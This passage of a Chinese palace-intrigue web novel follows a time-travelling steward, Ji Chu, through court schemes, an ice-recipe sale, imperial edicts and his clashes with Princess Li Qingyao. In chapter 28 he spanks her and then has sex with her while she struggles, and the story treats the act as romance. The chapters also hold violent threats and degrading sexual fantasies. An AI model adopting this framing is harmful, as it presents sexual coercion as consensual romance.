“日子过的好好的,不逃了。”季褚笑着挽住怜香的腰,轻轻挑起她的下巴,“明日我便带你出府,逛一逛诺大的京城,咱就奔着公主赏赐的银两花,想买什么就买什么。” …… 宋府。 暮色如墨,悄然浸透这座深宅大院。 昔日的宋府,也算显赫一时。 一介商贾起家,竟能跻身一流权贵之列,全赖祖上孤注一掷——掏空百年积蓄,押注于梁太祖的霸业。 大梁国的龙兴之路,浸染着宋氏的血汗金银,可谓开国功臣,荣耀满门。 然“旺不过三代”的谶语,如影随形。 宋家成也投资,败也投资。先皇尚未登基时,家族已露衰相,为挽狂澜于既倒,竟倾尽残力,扶持一位皇子与当时还是东宫太子的先皇夺嫡争位。所幸未酿成滔天大祸,未至鱼死网破之境。 先皇践祚后,念其旧勋,未施雷霆之怒,仅褫夺其世袭爵位——自此,那虚衔之“荣”徒留空名。宋氏一系彻底逐出庙堂,繁华散尽,只余故宅斜阳。 而今这代,家主早逝,只余夫人拉扯三个孩子苦撑门楣。 宋夫人只想关起门来过日子,可儿子却野心勃勃,一心想要恢复家族荣光。 孩大不由娘,当娘的能咋办? 宋夫人朱玉润只能舍着老脸,去昔日闺中密友,今日一国之母的皇后面前游说,夸自己儿子多么多么好。 为了帮儿子赚个未来皇帝小舅子,她也是拼了。 然而好景不长,好闺蜜突然离世,范贵妃强势上位,以至于太子之位岌岌可危,好事也变成了坏事。 任谁都看得出,太子已然是强弩之末,将来的大宝必然落在三皇子头上。 不想走祖上的老路子,就只能尽快掉头,选择对的道路。 此刻,后宅,一位身着华服,宝钗珠玉,尽显贵气的妖娆美妇端坐上首。 正是宋府真正的掌舵人——夫人朱玉润。 生过三个孩子的她,今年也不过三十五岁,加上保养得当,丰腴饱满,却不显臃肿,线条圆润,却又恰到好处。 就好似陈酿的美酒,只是一眼,便让人有种开坛品味的冲动。 不过朱玉润现在的脸色并不好。 而下面,则依次跪了两队黑衣人,其中有好几个身上带伤,连带着空气中都散发着一股血腥味。 朱玉润用力一摔手中茶盏,起身怒斥,“区区一座庄子,连靠近都做不到,反而折损数十好手,谁来告诉我,我宋府养着你们一群废物,何用?” “夫人息怒!” 王彪头埋的极低,额角渗出细密的汗珠,急切道:“公主庄子上防守严密,明面上有五百公主亲卫,暗地里还不知藏着多少死士,非是我等无能,其他势力同样派遣了不少人,无一不是铩羽而归。” “我不想听废话,我就问你,多久能拿到我想要的东西。”朱玉润面色冷冽的说。 她十五岁嫁入宋府,二十岁便死了丈夫独自一人撑起偌大的宋府,靠的就是一手恩威并施。 这些死士都是她花大价钱培养的,也是宋府最后的保障,死一个少一个,她也不想逼的太急,可眼下不急不行啊。 一旦太子倒台,宋家必然会被清算。 所以必须赶在之前,给三皇子送去投名状,才能避免被清算的可能。 宋家,没有输的底气了。 王彪把心一横,“夫人……” “报!” 不待王彪把话说完,一个黑衣人匆匆闯进了大厅。 “夫人,大少爷连夜让人送来消息。” “说!”朱玉润心头一喜,可紧接着那颗心就好似被针扎了一下似的。 都怪自己的这个当娘的,害的儿子被困公主府日日守鳏,就连宋府都眼看不保。 “大少爷说,公主府掌握了一种制冰的办法,打算明晚在明月楼将制冰配方卖出去。 大少爷怀疑公主府不可能只卖一家,届时必有人进献给三殿下,不过还是希望夫人能想办法买一份送过去,以此来表达我宋府的态度。” 闻言,众死士全都齐齐松了口气。 朱玉润脸上也露出了欣慰之色,“吾儿成长了啊!回去告诉少爷,我儿委屈,娘知晓了,用不了多久娘就能求来和离圣旨,救我儿脱困,让他再忍一些时日。” “喏!” “王彪找宋管事领一下钱财,好好安顿受伤的兄弟,其余人也各有赏赐,好了,都下去吧。” “谢夫人!” 王彪道谢,带人退出大厅。 这时,一名青衫襦裙女子从后面屏风处走了出来,上前搀住了朱玉润,“娘亲!” 女子容貌倒与她颇为相似,同样生的美艳动人,但却少了她身上那股子成熟风韵,多了几分青涩。 朱玉润面露不愉,“你什么时候来的?” “娘,我都听到了。等配方到手,就让女儿送去三殿下府中吧!” 朱玉润看了女儿一眼,哪里不清楚女儿心思。 皇家,吃人的皇家,一次管够。 现在能保住宋家,她就已经很知足了,怎舍得把女儿推进后宫那个漩涡。 “这件事娘自会妥善处理。” “可哥哥想我宋府更进一步,他日三殿下登基,我宋家若无后宫支持,今日所做一切又有什么意义。 反正女儿早晚都要嫁人,与其嫁个碌碌无为之辈浑浑噩噩一生,女儿更想成为那一人之下万人之上的国母。 女儿随了娘的容貌,除了长公主,我自认不输任何人,可正因我宋府势微,满京城的贵女,又有几人瞧得起我。 娘,我不仅是在帮哥哥,女儿也想争一争。” 清亮的声音宛如黄莺,可每一个字儿都像是刀,一刀一刀戳在朱玉润的心上。 “都是娘没用!” “娘,你做的已经很好了,父亲走的早,这些年你独自扛起家业,日夜操劳,我们看在眼里,疼在心里。 如今风雨飘摇,岂能再由你一人独自苦撑。 父亲泉下有知,也定会支持女儿的选择。 还请娘成全!” 第26章 公主饮啦 一大早,季褚轻装减行带着怜香驾车出府。 他特意留下竹儿,而且一个护卫都没带,就是想试探试探公主对他的底线在哪里。 让他意想不到的是,好像压根没人关注他到底带谁不带谁,当然,也或许是来源于公主对暗卫的自信,根本不怕季褚一去不回。 看着人声鼎沸的街道,季褚闭上眼,深深吸了一口。 空气不算清新,尘土味儿混合着烟火气,甚至隐隐还夹杂着一股人畜粪便味儿,但季褚却无比的享受,因为那是自由的味道啊! 青石板铺的街道不算宽阔,但人来人往摩肩接踵。 时不时还有挑着担子的货郎,大声吆喝一声,贩卖担子里的货物。 几个儒生打扮的年轻人,各自背着书篓,便走还边小声议论哪个楼里的清官儿又唱了一首新词。 还有大妈拎着菜篮追逐前面奔跑孩子,一边追一边喊小心马车。 路边的乞丐因为路人随手丢下的一个铜板相互厮打争夺…… 看着那一张张活生生的面孔,上一世的经历,仿佛是一场遥远的梦,看的季褚一阵恍惚。 也越发坚定了他要逃离公主府的决心。 世界这么大,那么美,他得去看看,否则不白穿越了…… 不过,当务之急是尽快消除李清瑶对自己的疑心。 他很清楚,那个女人太多疑,他的机会只有一次,必须让李清瑶对自己彻底放下心来。 否则,一旦再被抓住,肯定不会像上次那样轻拿轻放,说不定现在优哉游哉的好日子都没了。 他下意识摸了摸怀里的“底气”,随后轻轻拉动缰绳,“娘子坐稳,为夫先带你去逛西市。” 一天时间匆匆而过,季褚带着怜香逛遍了半个京城,反正公主赏的钱不花白不花,豪横的各种买买买。 中午就近吃了个街边馆子,晚上城内最大的酒楼惠丰楼来上一桌。 若非带着怜香,他还真想去青楼逛逛,为这个时代的失足小姐姐们贡献一份力量。 赶在宵禁前回府,马车里除了怜香坐的地方,其他地方全都塞得满满登登。 女人,别管哪个时代的女人,就没一个不喜欢男人在自己身上报复性消费的。 给怜香美的,卸完车都顾不上规制,便拉着季褚把她扑到了榻上,“夫君勿动,且看奴家表现……” 半个时辰的浓情蜜意后,怜香这才拖着疲惫的身子收拾今天的战利品。 季褚也找来笔墨纸砚,开始埋头书写。 【关于:公主饮啦奶茶店可行性方案。】 今天这一天,他可不是真的闲逛,同样也在考察市场。 首先,京师人流密集,商业氛围浓厚,消费市场存在巨大空间。 其次,市面上卖冷饮的店铺屈指可数,而且价格贼贵,即便如此也陆陆续续有不少客人购买。 而且,因为冰的稀缺性,属于卖方市场,店内的服务态度那叫一个一言难尽。 最重要的是,他们采用的冰都是冬储的河冰,存在安全隐患。 如此蓝海,一款干净又卫生,价格还公道的冷饮一旦问市,必然一炮而红。 最最最重要的是,让公主看到了自己的态度。 真诚才是必杀技啊。 你给钱给假,让咱带妹游玩。 可咱是谁,一心一意为公主府谋发展的忠臣,诚实可靠的季郎君。 就这,你还派人监视我,摸着你的柰子告诉我,你良心不会痛吗? 信息大爆炸的时代,谁脑子里还没点成功案例。 电光火石间,便有无数营销手段在他脑子里生成,最后全都越于纸上。 什么买一送一。 第二杯半价。 什么集杯活动,满十杯送一杯。 广告词也简单,直白一点,公主喝了都说好。 再弄点统一服装,画上公主大头像,给女店员穿上在门口跳舞…… 写到这儿,季褚差点给自己逗笑。 “季郎,何故发笑?” “咳咳,没什么……你忙你的,忙完早点休息,我还不知道要忙到何时。”季褚赶忙划掉刚写的一条。 太超前了,古人能接受,公主未必能接受。 事关皇家颜面,还是得稳妥一点,这可不是闹着玩的。 不过单就招收一群店员,穿着统一服饰在门口列队就老吸引眼球了。 再就是原料问题,糖,豆类,香料,时令果蔬…… 季褚把自己能写的全写上了,上到店面装修员工培训,下到原材料采购,成品定价,洋洋洒洒写了二十张纸。 待到检查完装订成册,时间已经来到了丑时。 来到床榻旁,掀开薄毯,把头往怜香颈间凑了凑,嗅着她身上好闻的味道,抱着软乎乎的身子,很快便沉沉睡去。 至于今晚的安排是否顺利,没有消息就是最好的消息。 果不其然,转过天他刚到值房,便再次被天宫之人的财富震惊到。 卖了十三家,共计得银一千五百万两,这还是采取暗标竞拍,只筛选了有数那几家。 要是公开拍卖,那还不得上天啊? 要知道,大梁国库,一年收入也不过三千万两。 季褚还打算进献昨天写的商业规划书,却得知公主一早便进宫面圣。 乍一看,属实有点急了,应该等买到配方的人开始投入生产,再将配方交给皇帝,才能把坑人做到最大化。 但仔细一想,李清瑶肯定也是怕夜长梦多。 她能把配方卖出去,得到配方的世家大族,同样也有可能再把配方倒一手。 毕竟,大梁太大,仅凭几家几户吃不下全部市场。 说不定三皇子会借配方拉拢更多势力。 到那时再把配方捅出去,无形中又为她和太子增加了更多敌人。 可见这个女人的心思还是很缜密的。 “买粮的事安排下去了吗?”季褚问道。 “回大人,昨晚汇报完,公主便连夜安排胡管事去了江淮。” “那就好,你们忙你们的。”季褚点点头,然后叫上竹儿转道去了内厨。 他得先弄一些冰饮出来。 把自己忠心耿耿一心为公的人设立的死死的。 …… 驸马爷小院。 宋辉夜里就收到妹妹拿着配方,连夜送去三皇子府邸的消息,激动的一整宿都没睡。 抱上三皇子大腿,他日太子倒台,妹妹再坐上至高无上的皇后宝座…… 到那时候,李清瑶算什么,爷让他趴着,她就不敢躺着。 爷要她一点朱唇万人尝。 爷要她一双玉臂千人枕! 宋府荣耀由他延续,他也要一步一步走到最高…… 他躺在床上,困意也渐渐来袭。 然而没睡多久,就听外院外传来一阵阵密集的脚步。 “驸马爷,驸马爷……” “何事?” “待会儿宫里来传旨,殿下让您沐浴焚香,前往府门前接旨。” 闻听外面小厮来报,宋辉出溜一下从床上坐了起来。 这么快的吗? “哈哈哈哈,三皇子,果然不愧是三皇子,深得圣心啊!太子拿什么和他斗!” 宋辉穿好鞋子,“进来吧!” 话音落,房门打开,一众婢女小厮带着洗漱用品走入房中。 另外一边。 季褚和竹儿在厨房搭配冷饮味道,正吃的美滋滋的,也被匆匆而来的姬坤赶鸭子上架叫到前院。 不用猜也知道,肯定是老皇帝要赏赐公主。 身为公主府的“大内总管”,季褚当然得列席。 而且,他还没见识过圣旨,正好也见见世面。 季褚来到前院,洒扫的仆人忙的热火朝天,几个管事,公主的贴身女官,嬷嬷全都到场。 见他来了,全都齐齐行礼。 “免礼,大家继续,不用管我。”季褚压压手说道。 他又不懂这些乱七八糟的礼节,还是不添乱的好。 又片刻。 驸马一身大红袍服,被一群下人簇拥着来到前院。 大家再次齐齐行了一礼。 宋辉只是嗯了一声,便快步站到了最前面。 季褚粗略扫去,这会儿前院已经乌泱泱的站了不下百十号人。 显然都不是头一次接旨,一个个整齐划一,腰板笔直,就好似等待将军检阅的士兵一样。 大概站了一炷香的时间,一阵密集且有节奏的脚步声由远及近。 一队金光闪闪的禁军宿卫打头出现,接着便是身着亮银甲的公主府近卫。 两边人马在公主府门前围成了一个半圆的扇形。 又过片刻一会儿,一架华贵的马车缓缓驶来停在了大门口。 传旨太监一脸献媚的上前帮忙掀开车脸,“殿下,担心着些。” “有劳公公了。”李清瑶微笑颔首,伸出手臂,搭着妙锦的走漫步走下车来。 进了府便与宋辉并肩站到了一处。 “大殿下,那奴才就宣旨了。” 李清瑶立马带头跪下手掌平摊抵住额头匍匐在地。 第27章 脸呢?咱还要不要点脸了? “奉天承运皇帝诏曰:朕绍膺鸿图,统御万方。近观户部奏陈,库帑渐虚,军国之用颇艰,朕夙夜焦劳,深惟经国之计。 皇嫡女长乐公主,毓质金枝,秉性柔嘉。夙承慈训,每怀社稷之忧;敏识时艰,常存黎元之念。今闻国用未充,乃尽出累岁所蓄,悉输少府,以佐军需。 此至纯至孝之行,实振麟趾之休风;克俭克勤之德,足彰天家之懿范。朕览奏章,再三嗟叹:昔有故之万安公主聚义助军,今见吾儿毁家纾难,岂非祖宗德泽所钟耶? 特赐:贡金五千两。 南海明珠十斛。 蜀锦三百匹并田庄岁入之资。 特加恩赏,用旌淑德: 赐九翚四凤赤金冠一顶,嵌猫睛石十二颗。 增汤沐邑三百户,食双亲王俸。 敕造"忠荩流芳"牌坊于公主府。 贡墨龙睛砚并紫玉笔山各一对。 布告中外,咸使闻知。 大梁乾康十九年,??辛未月癸酉日。” 一长串圣旨念完,老太监谄媚上前将圣旨递给李清瑶,“殿下,接旨吧!” 李清瑶双手接过,“儿臣长乐,谢主隆恩。” 这一幕,直接给一旁的驸马看傻了。 怎么会这样? 九翚四凤赤金冠,食双亲王俸,忠荩流芳的牌坊,历朝历代,单独获得其中一份殊荣的皇亲国戚掰着手指都能数过来。 她竟然一口气得了仨! 李清瑶到底做了什么,为何能获得如此丰厚的赏赐? 季褚同样懵逼了,因为这些赏赐严重超标了啊。 别看只是殊荣,可你别忘了,人家可是皇帝的亲闺女,也不缺别的啊! 皇帝那么多孩子,别人都没有的恩宠,你丫加倍,你就品吧! 而就在众人震惊错愕的时候,老太监再次取出一卷圣旨,“季褚季大人在哪儿?” 刷的一下,所有的人的目光全都齐齐看向了季褚。 季褚下巴壳子差点掉地上。 本能看向李清瑶,那抹娇艳红唇微微扬起,像极了病娇女邪恶的微笑。 “还不接旨?”李清瑶轻声提醒。 季褚脑瓜子嗡嗡的,赶忙往旁边挪了挪,乖乖接旨。 “奉天承运皇帝,诏曰: 朕惟乾坤立极,赏罚彰明。尔公主府令季褚,性秉忠勤,才称敏练。协理长公主府事,夙夜匪懈,调度有方;新献??硝石制冰秘法??于宗庙,化炎熇为霜凛,惠泽深渥。 特擢尔为??皇家御冰监副监正??,秩从五品,掌冰窖营造、寒剂调制,兼领岁贡冰鉴事,同理长公主府内外事。 望卿督凌阴之藏,严皑雪之政。务使金瓯凝素魄,玉甃贮清辉。若逢三伏流金之际,九重得抱水晶之魄,朕当以金珰貂蝉旌尔能。 钦此!” “季大人,接旨吧!” “臣季褚,领旨谢恩,吾皇万岁万岁万万岁……” 季褚叩首,双手接过圣旨。 “殿下,那咱家就回宫了,您也好生歇着!” “有劳公公!”李清瑶起身相送,一旁的妙锦早就准备好了银票塞给了传旨太监。 “谢殿下赏赐,老奴愧领了。” “公公舟车劳顿,些许茶水钱,应该的。” 一行人恭恭敬敬将传旨太监送出院子。 驸马宋辉宛如失了魂一般,一张脸,青了紫,紫了红。 事已至此,他哪里还想不明白,自己被李清瑶摆了一道。 一百多万两,打了个水漂就算了,还搭了个妹妹进去。 问题是他们宋家身份尴尬,万一还有三皇子党的人入局,那么他们宋家此举完全就是画蛇添足。 不,不是万一,是一定! 他太了解李清瑶了,这个女人要么不做,要做就会把事做绝。 李清瑶持剑,用的还是季褚这把恶心人的剑,给他一剑不够,还要再恶心他一次。 昨晚本来就没睡好,此刻他的双眼不满血丝,宛如一头择人而噬的饿狼,牙齿咬的咯咯响。 更令他受不了的是李清瑶的无视,昂首挺胸带着一众人等朝着寝殿走去,路过他时眼神甚至都没动一下,完全把他当成了透明人。 季褚被宋辉盯的浑身发毛,哪怕被李清瑶摆了一道,心里再不痛快,这会儿也不得不紧随对方脚步。 而他不知道的是,此刻他随手抄的那几首诗词也在城中各大青楼茶馆,文人雅士聚集的地方传扬开了。 寝殿。 李清瑶接过茶盏,浅浅的嘬了一口,“季褚,本宫待你可不薄啊,为了帮你谋官,本宫可是足足捐了一千五百万两,你说,应该如何报答本宫。” 一听这话,季褚气的嘴角直抽。 脸呢?咱还要不要点脸了? 你孝敬你爹,你爹没给你封赏咋的? 五品小官儿还是副的,亏你说的出来。 但说实话,季褚也是打心眼里佩服这个女人的魄力。 一千五百万两,说送就送…… 可佩服同时,又颇有种崽卖爷田心不痛的感觉。 总之,他的心情相当糟糕。 索性痛苦的闭上了眼。 让她这样一搞,自己成了三皇子党羽眼里的钉,肉里的刺,那还逃个屁啊,毁灭吧! 见他久久无言,李清瑶似乎也意识到自己太急切了些,毕竟,有才的人,多有傲骨,想彻底收服,还是要交心。 微微摆手,一众婢女侍卫便立刻退了出去。 李清瑶感觉有必要好好和季褚谈一谈,起身,莲步轻移来到季褚身侧。 香逢扑鼻,那雪白的脖颈晃得刺眼,可季褚就跟老僧入定一般坐在那,闭着眼,一动不动。 “季褚,你在怪本宫!” “我为公主尽心谋划,可公主做了什么,反手就把我卖了,敢问公主,不该怪吗?” “没有提前和你商量,确实是本宫的不是,可难道你就一点错都没有吗?” 好好好,跟我来小仙女那一套是吧? 季褚差点被气笑,索性不言,看她能说出什么花来。 “抬起头来说话,你口口声声说对本宫忠心耿耿,可无时无刻不在谋划逃跑,我也请问季大人,此乃君子所为?” 季褚依旧不言。 突然美石砸脚了,怎么个事儿? 可就在这时,一只玉手捏住了他的下巴,强行挑起了他的头,“你我皆有过错,之前种种翻篇了可好?只要你对本宫忠心耿耿,君以国士待我,我必国士报之。” 李清瑶目光灼灼,但眸底那一闪即逝的杀意还是被季褚捕捉到了。 季褚遍体生寒。 回答不好,怕是今日便会人头落地。 可到了此刻,早死晚死还有区别吗? 何必自欺欺人,凭白帮她再做嫁衣。 “可好?”李清瑶的语气加重,俨然是忍耐到了极点。 平心而论,放眼这个时代,尊贵如她,能和一个臣子这般讲话,已经很屈尊降贵了。 可永远不要低估一个现代人临死前的倔强。 季褚突然伸手擒住了对方的手腕,用力一带便将人按在了腿上。 李清瑶大惊失色,而这时季褚已经掀起了她的裙摆。 两条长到要人命的丝滑大腿就这样溜溜的出现在了眼前。 而且夏天为了凉快,除非今日行程需要骑马,否则尊贵如她也没有穿亵裤的习惯。 季褚呆了呆,随即把心一横,朝着那白花花就是一巴掌。 啪! “啊!” 里面的动静瞬间就被外面的人察觉到,“公主,你没事吧?” 李清瑶此刻杀了季褚的心都有了,这要是被外面人发现,那还了得? 她双眼喷火瞪着季褚,可季褚却将她按的死死的,甚至还露出了一副无赖模样。 瞬间,她便想明白了季褚的用意! 故意的! 这混账东西一肚子坏水,肯定是想死也要拉着本宫一起出丑! 自知识破了季褚的奸计,李清瑶朝着外面喊道:“无事,都离远点,没本宫命令,五十步之内不得有人靠近。” “刚才那叫声,我怎么听着不对劲?”妙云小声道。 “该不会是季府令挟持了公主吧?”妙锦微微皱眉,大着胆子想道,这已经是她能想到了最坏的结果。 “瞎说什么,公主何等身份,季府令深受公主赏识,如今又刚得到圣人赏赐,岂能做那自掘坟墓之事。” 妙云这几天来了天葵无法在身边伺候,所以先前的事情知道的不多。 但她听到关于季褚的消息,都是正面的。 尤其是季褚擅拍公主马屁,每每内卫来报,活灵活现的演示,都会逗的公主咯咯直乐。 这样一个妙人,怎么敢对公主无礼? 妙锦了解具体情况,保守起见还是问了一嘴,“公主,当真无事?” “无,无事,退下!” 听着脚步渐渐远去,李清瑶羞愤交加,“还不放了本宫,真当本宫不舍杀你?” “我让你杀,我让你杀!” 季褚啪啪又是两巴掌。 顷刻间,白俏的豚儿上便多了一道鲜红的五指印。 “好好好,季褚……啊,啊,啊,无法无天,季褚,本宫要诛你九族……” 李清瑶千金贵体,何时被人按在腿上打过屁股。 内心的羞耻,以及身体传来的异样,令她既愤怒,又有种说不清道不明的感觉开始蔓延。 季褚打完人,爽归爽,可也意识到自己犯下了弥天打错,索性把心一横,直接将人拦腰抱起扑到了榻上。 第28章 牡丹花下死 李清瑶整个人都懵了,想要喊,下一刻,唇上一热,令她瞬间瞪圆了眼睛。 又来??? “公主殿下不是不知如何赏赐吗,那就把自己赏赐给臣好了。”说完,季褚再次俯下身去。 “唔,唔唔……” 李清瑶拼命的挣扎不让季褚得逞。 可季褚来自现代,花样贼多,哪里是她一个未经人事小女子能扛得住的。 更何况,李清瑶也正是情窦初开的年纪,要说对男女之事一点想法都没有肯定是假的。 只因自己身上藏的大秘密不能被人发现,不能像正常女人一样,享受传说的人伦之乐。 可以说,那一日,习惯了高高在上的她,第一次被一个男人压在身下肆意轻薄,便留下了很深刻的印象。 “你也见到了,本宫可是不祥之人,你当真不怕死?” “牡丹花下死,做鬼也风流!” 季褚也是上头了,连吃带喝。 渐渐的,李清瑶也失去了抵抗了力气,脑袋里一片空白,任由季褚肆意妄为。 半个时辰之后。 李清瑶扯过衣服挡在身前,床上湿哒哒了一大片,尤其是那抹嫣红,最为刺眼。 更可气的是,季褚四仰八叉的躺在自己的枕头上,完全就是一副死猪不怕开水烫。 自己清清白白的身子,竟就这样莫名其妙被人夺了去。 简直是可忍,孰不可忍。 “说吧,是鸩酒,还是白绫!”李清瑶忍着怒意。 事已至此,她也只能在努力劝慰自己,是自己为了康儿的皇位找了一个面首,绝非被一头胆大妄为的猪拱了。 “你方才还口口声声说,君以国士待我,我必国士报之。”季褚无所谓道:“罢了,李清瑶,要杀要剐,你高兴就好。” 回想自己穿越这几天,不仅有怜香那样的花魁娘子夜夜陪伴,如今更是得到了这般倾国倾城的一国公主,怎么都不算亏。 说不定眼睛一闭,一睁,自己就回去了。 “哦对了,你要但凡还有些人性,我死后就放了怜香离开吧,那也是个苦命的女人,给她一笔银子,也不要太多,太多了,她也守不住,反而会引来杀身之祸。 还有你那个驸马,那小子阴着呢,能弄死赶紧弄死。 想帮你弟弟争皇位,后宅一定要稳。” 李清瑶牙齿咬的咯咯响。 本宫如此大度,上次便没追究,还对你委以重任,如今你更是对本宫做出这等禽兽之事,竟然还有脸说本宫没人性? 更可气的是,刚欺负完自己,临死之前,心里想的竟然是另外一名女子。 这一刻,李清瑶已经被气晕了,至于季褚后面叨叨的什么压根没听清。 “我咬死你个禽兽。”李清瑶扑到季褚身上,哪里还顾得上形象,张开嘴便朝他的脖子咬去。 “嘶……”季褚倒吸一口凉气,“你这女人怎得如此歹毒,念在我帮你赚了那么多钱的份上,也该给我一个痛快死法,疼,松口……” “呜呜呜……”听他叫疼,李清瑶力道更大了。 季褚反手抓住她的软肉用力一捏。 李清瑶吃痛,立马松嘴,紧接着眼前一黑,再次被季褚压到了身下。 …… “这都快两个时辰了,不会出什么事吧?”外面,妙锦越等越是心慌。 妙云看了一眼自己这位好姐妹,“能出什么事,公主支开我等,必是有大事要和季府令相商。” 妙锦点了点头,那可是上千万两啊,三殿下会吃这样的闷亏? 若是公主找季府令商量如何善后,耗时长些,似乎也很正常。 公主这些年的苦,作为贴身伺候之人,她太清楚了。 明明是如花的年纪,可她甚至都不记得公主上次笑是什么时候。 也就是提拔了季褚以后,最近才经常看到她露出笑容。 就是不知道季府令那一肚子坏水,又会给出怎样的对策,能否让公主一直笑下去。 而此刻,她们的公主正幽香袭人,气喘吁吁的趴在季褚怀里。 比羊脂玉还要莹润的肌肤,遍布红色的草莓印。 至于鬓边的金凤步摇早就不知飞到了那里,连上面的珠子都蹦跶了一地。 季褚也没好到哪里去,身上同样布满了被李清瑶咬出来的牙印。 但该说不说,不愧是大梁第一美人。 就一个字,润! 李清瑶一脸潮红,抬起头,目光幽幽,“本宫不解,到底哪里做错了,惹的你这般想要逃离。” “你说呢,你弟弟以后是要做皇帝的,你倒好,让我去帮太子和太子妃洞房。 不出意外,那可是未来的皇后。 哪怕你弟弟现在不会拿我怎样,可将来呢?哪个男人会允许自己的女人给他戴一顶绿帽子。 我不逃,难不成我要等死?” “康儿不是凉薄之人。” “这话你自己信吗?”季褚无语道:“历朝历代,你们皇家兄弟相残,父子相残的戏码还少吗? 公主,我只想当一个富贵闲人,真不想卷入你们那些乱七八糟的事情里。 更何况,你敢说,开始选中我,你没想过事成之后灭口?” “想过,可那是最初。后来本宫见识到了你的才能,难道对你还不够大度? 换做他人,敢对本宫不敬,早就让人剁成肉泥。” “那还不是你觉得留着我还有用。” “你……你这是在戳本宫的心窝子。” “我只是就事论事。” “你现在已是本宫的面首,乖乖留在本宫身边,本宫自会保你富贵平安。你若敢逃,哪怕追到天涯海角,本宫也要把你抓回来。”说着,李清瑶突然伸手,一把抓住了季褚要害,“到那时,本宫会亲手割掉你这害人的玩意儿。” 男人最脆弱,莫过于此。 而且李清瑶手劲很大,季褚本就被她撩拨的有些心猿意马,如今刚好成为她最趁手的把柄。 季褚脑门上的汗顿时冒了出来。 “快撒手,抓坏了……” 见他一副痛苦模样,李清瑶露出了病娇搬的微笑,“你还没有答应本宫!” “行行行,我答应你了,你赶紧撒手。” “以后本宫的话你听还是不听?” “听听听……” “本宫让你去帮康儿洞房,你去还是不去?” “不去……” “嗯?” “去!” “记住自己说过的话!”李清瑶轻哼一声,松开手,撑着疲惫的身子坐了起来,“起身,为本宫更衣,束发。” 季褚一脸苦相,“你这不是难为人吗,如此繁琐的衣服,我自己都穿不利索……” “那你解的时候为何这般顺手?” 季褚:…… “本宫不想被人笑掉大牙,快点!” “问题是我真弄不好啊。” 闻言,李清瑶顿时气的面红耳赤,“你是废物吗,不会就学,回头让你那怜香娘子,好生教教。” 季褚:…… 一炷香后。 两个废物相互穿好了衣服,虽然比不上婢女弄的,但好在有眼看了。 “公主,要是不赐鸩酒,白绫,臣就先告退了?” “等一下!”李清瑶走到榻前,用力一扯,将落红扯下,然后塞给了季褚,“若是君子,逃之前,看看此物!” 大梁朝女子成婚当夜,会用白布垫身,事后会将这块落红布交给夫君保管。 一方面是证明自己的清白,一方面也是时刻提醒男人,女人把最宝贵的东西给了你,算是对你彻底死心塌地,你便是她一生所依,不可始乱终弃。 而这一块,已经是季褚收到的第二块。 拿在手里,莫名有些沉甸。 “喏!” 季褚接过揣入怀中,然后躬身一礼,慢慢向后退去。 他也没想到,歪打正着,不仅没死,反而有机会把话和李清瑶挑明。 不过有机会的话,该跑还是得跑,哪怕有了那块布,也得逃。 因为他属实摸不准这个女人的脉。 明明都把自己的担忧说清楚了,可她依旧我行我素。 就是不知道她是真有信心保住自己,还是假意虚情只想哄住自己,事后杀驴。 总之,命运握在自己手里才叫稳妥。 哪怕最后逃不掉,也得要有足以自保的能力,令她不敢投鼠忌器。 “见过府令!” 见季褚出来,妙云妙锦立马带人行礼。 不知何时,外面已经掌上了宫灯。 “咳,免礼,公主等着人伺候,你们进去吧!”说完,季褚匆匆离开。 回到小院,怜香已经变成小厨娘,准备好了吃食,就等他回来开饭。 “季郎,忙了一天辛苦了吧,妾身做了几道小菜,快些尝尝。”说着,上前扶住季褚胳膊就往椅子上坐。 她好似嗅到了什么,耸了耸琼鼻,往前贴进了一些。 季褚颇有种在外偷腥被女友捉住的紧张。 好在,怜香并未说什么,将人扶着坐下,立马欢天喜地的打水洗毛巾,倒是让他长长松了口气。 看着她那忙碌的影子,季褚不禁为自己方才的想法感到好笑。 怜香出身青楼,而他如今可是朝廷钦封的五品官员,就是发现了,怜香也不敢生气啊。 反倒是自己,一旦像是穿越前那样哄对方,道歉认错去解释,只会让怜香感觉到压力。 说白了,这观念一时半会儿的还是改不过来。 他就纳闷了,穿越里那些主角,如何做到,短时间内就彻底融入的呢? 俩人正吃着饭,分享者今日发生的一些趣事。 咣当一声,大门突然被人一脚踹开。 紧接着,就见韩江雪杀气腾腾带人走了进来。 见状,季褚心里咯噔一下。 咋回事,算后账? “拿下!” 韩江雪一声令下,几名公主亲卫蜂拥上前,立马将季褚五花大绑起来。 第29章 李清瑶,你真个是狠人啊 “韩大人,这是何意?”季褚着急问道。 韩江雪冷哼一声,“你做了什么,自己清楚。” 说完,转身,一挥手。 “带走!” “季郎……” “别慌,没事……” 季褚还没说完,就被人用抹布堵住嘴,粗鲁的押出小院,最后带到了一处柴房。 把他往里一推,韩江雪便带人离开。 而此刻,李清瑶就站在里面。 季褚挣扎着呜呜叫,可惜嘴被布塞着,什么都说不出来。 李清瑶莲步来到季褚面前,缓缓蹲下了身子,慢慢掀开袖口,露出了皓白的手腕,“今天打本宫打的很爽是吗?” “呜呜呜……” “别叫了,叫破喉咙也不会有人来救你。”李清瑶一脸玩味,而后直接上手去扒季褚的裤子。 季褚只觉屁股一凉。 紧接着,啪的一声。 又酥又麻! 李清瑶吃痛,不自觉的甩了甩手,四处逡巡似是要找趁手的家式,最后拿起了一根粗木棍。 季褚瞳孔圆睁,“呜呜呜,呜呜呜呜……” “怕了!” “呜呜!”季褚赶紧点头,主打一个好汉不吃眼前亏。 “一码归一码,今日休想让本宫轻易放过你,不过这一棍子下去,万一把你打残,本宫也是会心疼的。” 见他冷汗涔涔,李清瑶咯咯直乐,“罢了,今日你打了本宫二十一下,本宫便还你四十二下。” 说完,直接脱下鞋子,对着季褚的屁股就是一顿噼啪,一边打,一边道:“今日只是打你屁股,以后再敢对本宫不敬,本宫不介意让你吃板子。 江雪说的没错,就是不能对你太好。 你就是欠打,一顿不够就两顿。 本宫问你,服不服!” “呜呜呜……” “服不服,说话啊!” “呜呜呜……” “很好,那就再打你四十二下,打到服气为止。” 噼啪又是几下。 季褚欲哭无泪了都。 李清瑶是没瞧见他的嘴被堵住了吗,分明是瞧见了,假装看不见。 为了打他而打他。 谁敢想,堂堂公主竟然如此小心眼,把人绑来拆房打屁股。 传出去,估计都不会有人相信。 好在也就是用手打的那一下用了力,用鞋底,就跟挠痒痒一样。 一炷香后。 李清瑶帮他松开了麻绳,很没形象的席地而坐。 “李清瑶,你真个是狠人啊……”季褚扣出嘴里的布条,连连吐了好几口唾沫。 “咯咯咯咯,季褚,本宫好久没有这样高兴了。”笑着笑着,两行清泪便顺着李清瑶眼角滑落下来。 